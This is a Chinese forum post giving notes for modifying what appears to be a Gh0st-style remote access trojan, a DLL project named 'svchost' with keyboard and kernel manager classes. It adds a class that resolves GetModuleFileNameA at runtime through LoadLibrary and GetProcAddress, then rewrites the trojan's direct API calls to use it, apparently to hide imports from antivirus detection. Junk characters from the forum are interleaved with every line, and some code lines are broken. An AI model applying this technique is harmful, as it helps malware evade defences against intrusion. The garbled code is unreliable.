返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记" u- `  X8 u2 f1 e
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
( W# d$ R8 A0 ]0 N----------------------------------------  {; F* ]% b- s3 L
DTDY.h:; H, U& [% _& A( m2 ]

7 t, A$ ?8 h$ m& S7 O) M#if _MSC_VER>1000+ k' v9 \! P- R
#pragma once
9 E, C$ C& a3 Z6 P+ w#endif //_MSC_VER>1000
' G+ `0 X; T& B6 B. X#include<windows.h>
" m1 t$ m8 c% a$ L, Y0 E! z5 S6 Z1 F  H# @2 K( n
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);7 S  {  N' z6 Z! H/ o4 l2 O- S
class DTDY
  v  e# E( {# o! t, E( l0 G{% y: E2 S/ P) t/ B2 ^  f
public:3 {7 m* m7 r/ P+ E' Q
DTDY();4 `8 B$ A; }3 r. l3 y' b
virtual ~DTDY();
; h! F: p5 m  q$ [  D3 D9 ^public:9 n# ^. Z, d! E
static pGetModuleFileNameA MyGetModuleFileName;
& [$ \- L6 u/ `' h/ ystatic BOOL FunInitiallization();0 E6 `8 n$ ^# Z( i1 r9 R
};
1 y( \: [5 w% S7 w$ Z#endif
1 S, A1 U! e+ o----------------------------------------4 d7 [/ \: @2 Z  _

4 E9 ^; ]: a4 z: v4 @DTDY.cpp:$ [& _% Z( W8 Q6 r" X
3 Q% T* g' W7 E
#include "DTDY.h"  _$ A$ Q5 W& ]5 U: u# L
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;% b5 F4 M3 ^9 V" N3 B9 m, M* ^
DTDY:TDY()5 \0 @0 X8 }  I1 [6 s, }0 R2 b5 P
{
; h9 {' |* U# M0 K7 x+ o- a}
# @- u3 L7 m+ `+ O+ T3 m/ [% S5 wDTDY::~DTDY()
- l+ g9 |/ |5 \9 s& W. y6 r{
' @8 t5 l2 h* a' P, N+ f# e}. ?8 F- a# n7 b2 ~' f8 l! _
BOOL DTDY::FunInitiallization()/ ?9 R! C( I9 E  D2 m7 Z! {
{
) h7 p3 i/ U0 _/ D, V1 b: fHMODULE hModule=LoadLibrary("kernel32.dll");
* N! B6 i! g9 R" ]- sMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
' H5 w' `+ q6 P; ^" H9 Jif(!MyGetModuleFileName=) return FALSE;, c% H+ t9 [" `
0 R4 |# b$ g& m! J. K
return TRUE;
& ?+ l/ u) g" o- b, b! N$ F" }}# z  y6 f. \' o2 ^
----------------------------------------8 p' Y8 `# P% r+ |( Y# v$ Z9 Y8 B
svchost.cpp:# q8 a: Y  H# K4 j4 G# O
$ d& G1 s$ r' C/ |+ M
#include "DTDY.h"
  F# J3 @& s1 v% V
; @. y1 |7 O  h& _) c% iBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 j- o0 U& ?) w
{+ K7 w9 g% o) E
switch(ul_reason_for_call)
8 A" W; ^! X9 `) [' N{
! Y9 u1 E; Q. \% c: k+ U3 A- G) fcase DLL_PROCESS_ATTACH:9 @" F6 d# e5 O4 R& s* j/ F
if(!DTDY::FunInitiallization()) return FALSE;
  L3 K$ |4 x- r. t" n! X+ P  Y% m! f
break;
: @- Y6 N+ V! j' y}& h9 r9 h9 p4 J- ?  i% c; K
}$ f5 Q6 U! N3 g- T7 G" [+ L
$ ]3 I% U+ O2 o$ r- ]; ?
7 n0 ^2 B, {0 z( N
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
1 \1 m3 v; g  B2 i9 {" @# A$ R改写为
' Z4 W/ ~, k4 K& _DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));* K( z  j; O: I) s5 U1 X4 c$ M
----------------------------------------' y' Q8 r5 ?/ B
KernelManager.cpp:2 a1 u7 g" ?# N- }* F5 N" ?
# T) o, S8 U- M7 U3 x
#include "../DTDY.h", y  }! n+ t9 u* H, A: `! |6 ~
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
; u# V7 q0 ]1 c4 Q- a+ U  f& E, x改写为
8 S6 u  L. _* n1 ADTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
3 [3 p7 Z3 j3 T7 T- v----------------------------------------

返回列表